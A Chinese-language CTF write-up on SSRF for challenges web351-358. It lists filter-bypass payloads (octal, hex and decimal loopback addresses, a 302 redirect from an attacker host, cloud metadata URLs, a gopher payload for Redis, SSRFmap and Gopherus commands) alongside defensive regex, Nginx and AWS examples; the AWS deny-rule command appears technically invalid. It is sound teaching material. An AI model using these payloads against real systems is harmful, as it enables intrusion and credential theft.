SSRF漏洞攻防实战：从基础绕过到高级利用

1. SSRF漏洞基础与实战环境概述服务器端请求伪造(SSRF)是一种常见且危险的Web安全漏洞它允许攻击者诱导服务器向内部系统发起非预期的网络请求。在CTF竞赛和实际渗透测试中SSRF常被用于突破网络边界访问内网敏感资源。本系列题目(web351-358)由浅入深地展示了SSRF的各种防护机制及绕过技术涵盖了从基础绕过到高级利用的完整知识体系。在真实网络环境中服务器通常部署在DMZ区与内网系统存在信任关系。通过SSRF漏洞攻击者可以扫描内网服务和端口访问云服务元数据接口(如AWS的169.254.169.254)攻击内网Web应用或Redis/Memcached等中间件结合其他漏洞实现远程代码执行2. 基础绕过技术解析2.1 协议限制与IP表示法绕过在web351中题目仅要求通过POST传递参数这是最简单的SSRF场景。而web352开始引入基础防护$x[scheme]http||$x[scheme]https // 仅允许http/https协议 !preg_match(/localhost|127.0.0/) // 过滤localhost和127.0.0绕过这类限制的经典方法包括2.1.1 特殊IP表示法http://0.0.0.0/flag.php # 全零地址 http://2130706433/flag.php # 十进制表示(127.0.0.1) http://0177.0.0.1/flag.php # 八进制表示 http://0x7f000001/flag.php # 十六进制表示技术原理IPv4地址本质是32位整数上述不同表示法在DNS解析时都会被转换为127.0.0.1。Windows和Linux对0.0.0.0的处理略有差异Linux会将其解析为127.0.0.1。2.1.2 特殊域名利用http://localtest.me/flag.php # 解析到127.0.0.1的公共域名 http://sudo.cc/flag.php # 同上2.2 正则过滤的进阶绕过web353增加了更严格的正则过滤!preg_match(/localhost|127.0/i) # i修饰符表示不区分大小写此时可用的绕过技术包括2.2.1 利用IP地址范围特性http://127.255.255.254/flag.php # 127.0.0.0/8整个网段都指向回环2.2.2 短地址技术当web355限制URL长度≤5时http://127.1/flag.php # 等价于127.0.0.1web356将长度限制提高到≤3http://0/flag.php # Linux下解析为127.0.0.1实战技巧在Windows环境下0会解析为0.0.0.0这种差异可用于识别服务器操作系统类型。3. 高级防护突破技术3.1 PHP过滤器严格校验web357采用了PHP内置的严格IP验证filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)这两个标志位的含义NO_PRIV_RANGE拒绝私有IP段(10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)NO_RES_RANGE拒绝保留IP段(127.0.0.0/8, 0.0.0.0/8, ::1等)3.1.1 DNS重绑定攻击突破方案在可控服务器上创建demo.php?php header(Location: http://127.0.0.1/flag.php, true, 302); ?提交外链地址urlhttp://attacker-ip/demo.php攻击原理服务器首次DNS解析获得合法外网IP通过校验但实际请求时由于302跳转访问内网地址。这种时间差使得防护失效。3.2 复杂正则的解析特性利用web358设置了精细的正则限制preg_match(/^http:\/\/ctf\..*show$/i,$url)该正则要求以http://ctf.开头以show结尾中间可以是任意字符3.2.1 URL解析特性绕过利用符号的URL特性urlhttp://ctf.127.0.0.1/flag.php?show技术原理前的ctf.被解析为用户名实际请求发送到127.0.0.1。问号后的show满足正则结尾要求而参数部分不会被包含在URL验证中。4. 防御方案与最佳实践4.1 多层防御体系建设输入验证层使用白名单校验域名和IP禁用非常规URL格式(如各种IP表示法)if(!preg_match(/^https?:\/\/([a-z0-9\-]\.)example\.com/i, $url)){ die(Invalid URL); }请求过滤层禁用重定向(设置CURLOPT_FOLLOWLOCATION为false)限制请求端口(只允许80,443等)$parsed parse_url($url); if(!in_array($parsed[port] ?? 80, [80, 443])){ die(Port not allowed); }网络隔离层关键服务使用独立网络命名空间配置严格的网络策略(iptables/nftables)4.2 服务端防护配置4.2.1 Nginx防护示例location / { # 拒绝私有IP段 if ($host ~ ^(10\.|172\.(1[6-9]|2[0-9]|3[0-1])\.|192\.168\.) ) { return 403; } # 拒绝特殊域名 if ($host ~* (localhost|localtest\.me|sudo\.cc)$) { return 403; } }4.2.2 云环境元数据防护# AWS EC2防火墙规则示例 aws ec2 create-security-group \ --group-name BlockMetadataAccess \ --description Block access to instance metadata \ --vpc-id vpc-123456 aws ec2 authorize-security-group-ingress \ --group-id sg-123456 \ --protocol tcp \ --port 80 \ --cidr 0.0.0.0/0 \ --rule-action deny \ --priority 1 \ --destination 169.254.169.254/325. 实战检测与自动化工具5.1 手工测试流程测试基本SSRFurlhttp://169.254.169.254/latest/meta-data/尝试各种绕过技术urlhttp://0177.0.0.1:80/%2566lag.php检查DNS重绑定漏洞# 使用rbndr.io服务 urlhttp://7f000001.0a00020f.rbndr.io/flag.php5.2 自动化工具推荐SSRFmappython3 ssrfmap.py -r req.txt -p url --lhostattacker-ip --lport4242Gopherus针对内网服务./gopherus.py --exploit mysql注意事项在实际渗透测试中使用自动化工具需获得明确授权避免对目标系统造成意外影响。6. 漏洞利用的延伸思考6.1 云环境下的SSRF威胁现代云平台中SSRF可能造成更严重的后果获取IAM临时凭证(如AWS的STS Token)读取敏感配置信息(如Kubernetes的pod元数据)攻击Serverless函数的内网接口6.2 协议扩展攻击面除HTTP外其他协议也可能存在风险gopher://127.0.0.1:6379/_*2%0d%0a$4%0d%0aINFO%0d%0a这类payload可攻击内网的Redis服务可能导致RCE。6.3 防御深度强化建议实施网络层的微隔离关键服务使用双向TLS认证定期更新SSRF防护规则库对出站流量也实施监控(防止数据外泄)